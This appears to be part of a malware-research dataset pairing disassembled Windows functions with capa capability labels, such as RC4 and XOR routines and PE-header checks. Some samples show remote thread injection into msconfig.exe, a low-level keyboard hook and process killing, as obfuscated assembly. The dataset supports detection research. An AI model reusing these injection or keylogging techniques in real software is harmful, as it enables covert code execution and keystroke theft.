joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14009a53e
Capabilities:
Encrypt data using rc4 prga

Disassembly:
call 0x1400ca11a
movzx r8d, byte [rdx]
test r13b, 0xb
test r9w, bx
cmp r8b, 0xe1
jmp 0x1400ca0e8
shr rdx, 3
dec ah
add cl, r9b
test r14, rax
movzx eax, dl
mov ecx, eax
add r8b, 0xd3
clc
cmp rax, 0x3129792d
jmp 0x1400cdb5a
ret
mov eax, 1
jmp 0x1400b2b67
jae 0x1400b2b7b
xor r10d, r10d
mov dword [rcx + 8], r10d
cmp r11b, 0xa4
cmp r8b, 0x2d
jmp 0x1401221c1
sub rax, 1
jmp 0x140121123
ret
jne 0x140121183
mov dword [r9 + 4], ecx
cmp dil, 0x22
movzx eax, r8b
cmp ebp, r12d
mov dword [r9], eax
test r15b, bl
sub eax, eax
jmp 0x1400cdc22
jne 0x1400af598
mov dword [r9 + 8], ecx
clc
test r10, rsi
test r12b, 0x3e
mov dword [r9 + 4], r10d
stc
cmp spl, r14b
cmp r8b, 9
jb 0x14011c43f
movzx ecx, r8b
movabs rax, 0xe38e38e38e38e38f
sub edx, ebp
rol dl, 0x31
mul rcx
shr rdx, 3
add ax, 0x5cb5
sbb ecx, 0xd0bc92a4
movzx eax, dl
setle cl
xor ecx, 0x3d94d80c
or ecx, esi
mov ecx, eax
cmp bx, 0x1827
test r14b, r14b
add r8b, 0xf7
sub rax, 1
jmp 0x14011c431
jb 0x140121135
movzx ecx, r8b
movsx rax, r14w
xchg dx, ax
or dx, r14w
movabs rax, 0x2d82d82d82d82d83
mul rcx
shrd cx, si, 0x2c
sub cx, r12w
jmp 0x1400af587

Function at 0x1400ca11a
Capabilities:
Encrypt data using rc4 prga

Disassembly:
call fcn.1400af475
push r12
pushfq
movabs r12, 0xdd1e6db78c08dc89
push rbx
mov qword [rsp + 0x20], 0xea552a4
mov r12, qword [rsp + 0x10]
movabs rbx, 0x3b39ca19c402dfb7
add rbx, 0x18094fa1
pop rbx
jle fcn.14009a53e
add qword [rsp + 0x10], 0xffffffffbff65abd
push qword [rsp]
popfq
lea rsp, [rsp + 0x18]
call fcn.14012fe50
invalid

Function at 0x1401507df
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp], rbx
mov ebx, 0xa091d526
xor ebx, ebx
neg ebx
push rsi
push rbx
xor byte [rsp + rbx*8 + 5], bh
add bl, bl
lea rbx, [0x14015f9d8]
lea rsp, [rsp + 8]
mov esi, 0x970050a5
lea rsi, [rsi + rsi*4 + 0x612738be]
movzx esi, byte [rax]
push 0xffffffffb61122bd
xor esi, r9d
and esi, 0xff
mov esi, dword [rbx + rsi*4]
shr r9d, 8
xor r9d, esi
inc rax
xor r9d, 0xe0aee314
not byte [rsp + 5]
dec r10
lea rsp, [rsp + 8]
jne 0x14014fd1c
call fcn.14015547e
mov cx, word [rdi]
jmp 0x14013a0c7
jmp 0x14014fcfb

Function at 0x1401688bf
Capabilities:
Encode data using xor

Disassembly:
lea rsp, [rsp + 0x18]
je 0x140168944
mov edx, 0xce351184
push rsi
and dx, 0xce8b
lea rsi, [rdx + rdx - 0x7e7f1ee7]
shr rsi, 0x85
lea rdx, [0x140165968]
movzx esi, byte [rcx]
push 0xfffffffffb909f92
xor esi, r10d
and esi, 0xff
mov esi, dword [rdx + rsi*4]
shr r10d, 8
xor byte [rsp + 3], 0x22
xor r10d, esi
neg qword [rsp]
inc rcx
ror dword [rsp + 2], 0x82
xor r10d, 0xeb0f400b
and word [rsp + 4], 0x521d
dec r9
lea rsp, [rsp + 8]
jne 0x1401688e8
push 0xffffffffbfbe4036
push 0xffffffffb595b00c
mov rsi, qword [rsp + 0x10]
lea rsp, [rsp + 0x18]
not r10d
push 0xffffffff910e2d25
mov dword [rdi], r10d
lea rsp, [rsp + 8]
jmp fcn.140145c56
Function at 0x2fc4d8ae0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2fc4d94e2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4fe108]
test eax, eax
je 0x2fc4d957a
lea rax, [0x2fc4fe0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4fe110]
mov qword [rbp - 8], rax
jmp 0x2fc4d955e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4d9552
cmp qword [rbp - 0x10], 0
je 0x2fc4d9552
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4d9518
lea rax, [0x2fc4fe0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4d957b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4d9680
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4d96a8
mov eax, 0
jmp 0x2fc4d96f6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4d96d1
mov eax, 0
jmp 0x2fc4d96f6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4d96f1
mov eax, 0
jmp 0x2fc4d96f6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x1400110dc
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140018440
push rbp
push rdi
sub rsp, 0x1a8
lea rbp, [rsp + 0x40]
lea rcx, [0x14025e107]
call fcn.1400117ad
nop
lea rax, str.msconfig.exe
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 8]
call fcn.140011267
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x140018483
mov eax, 1
jmp 0x1400185ec
mov r8d, dword [rbp + 0x24]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x1400184a9
mov eax, 1
jmp 0x1400185ec
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x1d27d5
xor edx, edx
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x1400184e9
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, 1
jmp 0x1400185ec
mov qword [rsp + 0x20], 0
mov r9d, 0x1d27d5
lea r8, section..data
mov rdx, qword [rbp + 0x68]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14001853e
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x68]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
nop
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, 1
jmp 0x1400185ec
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x68]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jne 0x1400185a6
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x68]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
nop
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, 1
jmp 0x1400185ec
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x68]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
nop
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
xor eax, eax
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret
Function at 0x140011267
Capabilities:
Enumerate processes

Disassembly:
jmp 0x140017bd0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x428
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xa2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x448]
mov rax, qword [0x140256cc0]
xor rax, rbp
mov qword [rbp + 0x3f8], rax
lea rcx, [0x14025e107]
call fcn.1400117ad
nop
xor edx, edx
mov ecx, 2
call fcn.1400113a2
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
je 0x140017c7f
mov dword [rbp + 0x30], 0x238
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 8]
call fcn.1400114ce
test eax, eax
je 0x140017c7f
mov rdx, qword [rbp + 0x420]
lea rcx, [rbp + 0x5c]
call qword [sym.imp.ucrtbased.dll_wcscmp]
test eax, eax
jne 0x140017c6e
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, dword [rbp + 0x38]
jmp 0x140017c8c
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 8]
call fcn.1400116e0
test eax, eax
jne 0x140017c49
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140022250]
call fcn.140011690
mov rax, rdi
mov rcx, qword [rbp + 0x3f8]
xor rcx, rbp
call fcn.1400113bb
lea rsp, [rbp + 0x408]
pop rdi
pop rbp
ret

Function at 0x140011451
Capabilities:
Terminate process

Disassembly:
jmp 0x14001a500
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x14001157d
Capabilities:
Parse pe header

Disassembly:
jmp 0x14001b850
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14001b870
xor al, al
jmp 0x14001b8f1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14001b883
xor al, al
jmp 0x14001b8f1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001b8ad
xor al, al
jmp 0x14001b8f1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14001b8c1
xor al, al
jmp 0x14001b8f1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14001b8d3
xor al, al
jmp 0x14001b8f1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001b8ef
xor al, al
jmp 0x14001b8f1
mov al, 1
add rsp, 0x38
ret
Function at 0x1400115c8
Capabilities:
Hide graphical window
Log keystrokes via application hook

Disassembly:
jmp 0x140018850
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1e8
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0x32
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x208]
mov rax, qword [0x140256cc0]
xor rax, rbp
mov qword [rbp + 0x178], rax
lea rcx, [0x14025e107]
call fcn.1400117ad
nop
mov dword [rbp + 0x10], 0x50
mov dword [rbp + 0x14], 0
lea rax, [0x140011465]
mov qword [rbp + 0x18], rax
mov dword [rbp + 0x20], 0
mov dword [rbp + 0x24], 0
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x28], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconA]
mov qword [rbp + 0x30], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorA]
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x40], 6
mov qword [rbp + 0x48], 0
lea rax, [0x140021bb0]
mov qword [rbp + 0x50], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconA]
mov qword [rbp + 0x58], rax
lea rcx, [rbp + 0x10]
call qword [sym.imp.USER32.dll_RegisterClassExA]
movzx eax, ax
test eax, eax
jne 0x14001895e
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Window_Registration_Failed_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
nop
xor eax, eax
jmp 0x140018aaa
mov qword [rsp + 0x58], 0
mov rax, qword [rbp + 0x1a0]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0x64
mov dword [rsp + 0x30], 0x12c
mov dword [rsp + 0x28], 0x80000000
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0xcc0000
lea r8, str.AutoClicker
lea rdx, [0x140021bb0]
mov ecx, 0x200
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov qword [0x140257130], rax
cmp qword [0x140257130], 0
jne 0x1400189f9
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Window_Creation_Failed_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
nop
xor eax, eax
jmp 0x140018aaa
mov edx, dword [rbp + 0x1b8]
mov rcx, qword [0x140257130]
call qword [sym.imp.USER32.dll_ShowWindow]
nop
mov rcx, qword [0x140257130]
call qword [sym.imp.USER32.dll_UpdateWindow]
nop
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140011591]
mov ecx, 0xd
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
mov qword [0x140257138], rax
cmp qword [0x140257138], 0
jne 0x140018a68
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Failed_to_install_keyboard_hook_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
nop
mov eax, 1
jmp 0x140018aaa
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x78]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x140018a96
lea rcx, [rbp + 0x78]
call qword [sym.imp.USER32.dll_TranslateMessage]
nop
lea rcx, [rbp + 0x78]
call qword [sym.imp.USER32.dll_DispatchMessageA]
nop
jmp 0x140018a68
mov rcx, qword [0x140257138]
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
nop
mov eax, dword [rbp + 0x88]
mov rdi, rax
lea rcx, [rbp - 0x60]
lea rdx, [0x140021c50]
call fcn.140011690
mov rax, rdi
mov rcx, qword [rbp + 0x178]
xor rcx, rbp
call fcn.1400113bb
lea rsp, [rbp + 0x188]
pop rdi
pop rbp
ret
Function at 0x1400142e0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x1e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x188]
mov rax, qword [0x140256cc0]
xor rax, rbp
mov qword [rbp + 0x120], rax
lea rcx, [0x14025e0fb]
call fcn.1400117ad
nop
mov edx, 8
lea rcx, [rbp + 8]
call fcn.1400173a0
mov rdx, qword [rbp + 0x158]
lea rcx, [rbp + 0x108]
call fcn.140014d30
mov qword [rbp + 0x118], rax
mov rdx, qword [rbp + 0x118]
lea rcx, [rbp + 8]
call fcn.140012380
nop
lea rcx, [rbp + 0x108]
call fcn.140015bc0
nop
lea rax, [0x1400141d0]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x150]
add rax, 8
mov qword [rbp + 0x118], rax
lea rcx, [rbp + 8]
call fcn.140017b30
mov rcx, qword [rbp + 0x118]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rbp + 0x28]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll__beginthreadex]
mov rcx, qword [rbp + 0x150]
mov qword [rcx], rax
mov rax, qword [rbp + 0x150]
cmp qword [rax], 0
je 0x1400143e3
lea rcx, [rbp + 8]
call fcn.1400183e0
nop
jmp 0x1400143fc
mov rax, qword [rbp + 0x150]
mov dword [rax + 8], 0
mov ecx, 6
call fcn.1400111ae
nop
lea rcx, [rbp + 8]
call fcn.140015bc0
nop
lea rcx, [rbp - 0x30]
lea rdx, [0x140022640]
call fcn.140011690
mov rcx, qword [rbp + 0x120]
xor rcx, rbp
call fcn.1400113bb
lea rsp, [rbp + 0x138]
pop rdi
pop rbp
ret
Function at 0x140019650
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.140011802
movzx eax, al
test eax, eax
jne 0x140019670
mov ecx, 7
call fcn.14001169f
nop
mov byte [rsp + 0x20], 0
call fcn.1400116db
mov byte [rsp + 0x21], al
cmp dword [0x140257808], 1
jne 0x140019694
mov ecx, 7
call fcn.14001169f
nop
jmp 0x1400196ec
cmp dword [0x140257808], 0
jne 0x1400196e7
mov dword [0x140257808], 1
lea rdx, [0x140021660]
lea rcx, [0x140021330]
call fcn.14001139d
test eax, eax
je 0x1400196c8
mov eax, 0xff
jmp 0x1400197f1
lea rdx, [0x140021220]
lea rcx, [section..rdata]
call fcn.1400116c2
mov dword [0x140257808], 2
jmp 0x1400196ec
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140011681
call fcn.1400115b4
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140019749
mov rcx, qword [rsp + 0x30]
call fcn.1400112df
movzx eax, al
test eax, eax
je 0x140019749
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x14025f020]
nop
call fcn.140011609
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x14001977d
mov rcx, qword [rsp + 0x38]
call fcn.1400112df
movzx eax, al
test eax, eax
je 0x14001977d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140011780
nop
call fcn.1400198a0
mov dword [rsp + 0x28], eax
call fcn.14001157d
movzx eax, al
test eax, eax
jne 0x14001979c
mov ecx, dword [rsp + 0x28]
call fcn.140011087
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x1400197ab
call fcn.14001178f
nop
xor edx, edx
mov cl, 1
call fcn.1400112b2
mov eax, dword [rsp + 0x28]
jmp 0x1400197f1
add rsp, 0x68
ret
Function at 0x140004350
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x30
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x140004372
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rdi
je 0x1400043ec
mov rdi, r14
mov rcx, rbx
call fcn.1400053b0
test rax, rax
jle 0x1400043c4
mov rdx, qword [rbx + 0x38]
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov r8, rbp
mov rdx, qword [rdx]
call fcn.140046620
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x1400043dc
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x1400043e4
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x140004386
sub r14, rdi
jmp 0x1400044cf
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x140004403
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140004405
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140004437
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.140046620
mov rax, qword [rbx + 0x50]
add rsi, rdi
sub rbp, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x1400044cc
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140004472
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rbp, 0xfff
jbe 0x1400044ad
nop dword [rax + rax]
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.140032cf0
add rsi, rax
sub rbp, rax
cmp rax, 0xfff
jne 0x1400044cc
cmp rbp, rax
ja 0x140004480
test rbp, rbp
je 0x1400044cc
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.140032cf0
sub rbp, rax
sub r14, rbp
mov rbp, qword [rsp + 0x28]
mov rax, r14
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
Function at 0x140008f40
Capabilities:
Encode data using xor
Hash data using murmur2

Disassembly:
push rdi
sub rsp, 0x50
mov rax, qword [0x14005b080]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov r8, rcx
movsxd r10, edx
xor eax, eax
mov r9d, edx
mov ecx, 0x40
lea rdi, [rsp]
rep stosb byte [rdi], al
mov rdi, r10
lea rcx, [rsp]
shr rdi, 3
test rdi, rdi
je 0x140008f94
nop dword [rax + rax]
mov rax, qword [r8]
add r8, 8
mov qword [rcx], rax
add rcx, 8
sub rdi, 1
jne 0x140008f80
mov rdx, r10
and edx, 7
je 0x140008fb2
sub rcx, r8
nop
movzx eax, byte [r8]
mov byte [rcx + r8], al
lea r8, [r8 + 1]
sub rdx, 1
jne 0x140008fa0
xor r8d, r8d
test r9d, r9d
jle 0x140008fd9
mov edx, r8d
nop dword [rax]
movzx ecx, byte [rsp + rdx]
lea eax, [rcx - 0x41]
cmp al, 0x19
ja 0x140008fd1
add cl, 0x20
mov byte [rsp + rdx], cl
inc rdx
cmp rdx, r10
jl 0x140008fc0
lea rdx, [rsp]
mov r11d, r9d
mov r10d, 0xb801fcda
cmp r9d, 4
jl 0x140009027
mov rdi, r9
shr rdi, 2
mov eax, edi
neg eax
lea r9d, [r9 + rax*4]
nop dword [rax + rax]
imul eax, dword [rdx], 0x5bd1e995
add rdx, 4
imul r10d, r10d, 0x5bd1e995
mov ecx, eax
shr ecx, 0x18
xor ecx, eax
imul ecx, ecx, 0x5bd1e995
xor r10d, ecx
sub rdi, 1
jne 0x140009000
sub r9d, 1
je 0x14000904c
sub r9d, 1
je 0x140009042
cmp r9d, 1
jne 0x140009052
movzx r8d, byte [rdx + 2]
shl r8d, 0x10
movzx eax, byte [rdx + 1]
shl eax, 8
xor r8d, eax
movzx eax, byte [rdx]
xor r8d, eax
imul ecx, r8d, 0x5bd1e995
imul edi, r11d, 0x5bd1e995
mov eax, ecx
shr eax, 0x18
xor eax, ecx
imul ecx, eax, 0x5bd1e995
imul eax, r10d, 0x5bd1e995
xor ecx, eax
mov eax, edi
shr eax, 0x18
xor eax, edi
imul edx, ecx, 0x5bd1e995
imul eax, eax, 0x5bd1e995
xor edx, eax
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14002a2c0
add rsp, 0x50
pop rdi
ret
Function at 0x14000cf60
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push rdi
sub rsp, 0x280
mov rax, qword [0x14005b080]
xor rax, rsp
mov qword [rsp + 0x270], rax
xor edx, edx
mov dword [rsp + 0x20], 0x5b6a20
lea ecx, [rdx + 0xf]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x30], 0x238
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
mov r8d, eax
test eax, eax
je 0x14000d010
mov qword [rsp + 0x290], rbx
lea rcx, [rsp + 0x5c]
call fcn.140009760
test eax, eax
jne 0x14000cff3
mov r8d, dword [rsp + 0x38]
lea ecx, [rax + 1]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x14000cff3
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
mov r8d, eax
test eax, eax
jne 0x14000cfb6
mov rbx, qword [rsp + 0x290]
mov dword [rsp + 0x20], 0x6c514f
mov eax, 0x55555556
mov ecx, dword [rsp + 0x20]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x14000d082
mov ecx, dword [rsp + 0x20]
add ecx, 2
add ecx, r8d
mov dword [rsp + 0x20], ecx
mov eax, dword [rsp + 0x20]
and eax, 0x80000003
jge 0x14000d051
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x14000d0d4
nop word [rax + rax]
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
and eax, 0x80000003
jge 0x14000d07c
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x14000d060
jmp 0x14000d0d4
mov eax, dword [rsp + 0x20]
mov ecx, 2
mov eax, dword [rsp + 0x20]
sub ecx, r8d
add ecx, eax
mov eax, 0x55555556
mov dword [rsp + 0x20], ecx
mov ecx, dword [rsp + 0x20]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x14000d0d4
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x20]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x14000d0b1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.14002a2c0
add rsp, 0x280
pop rdi
ret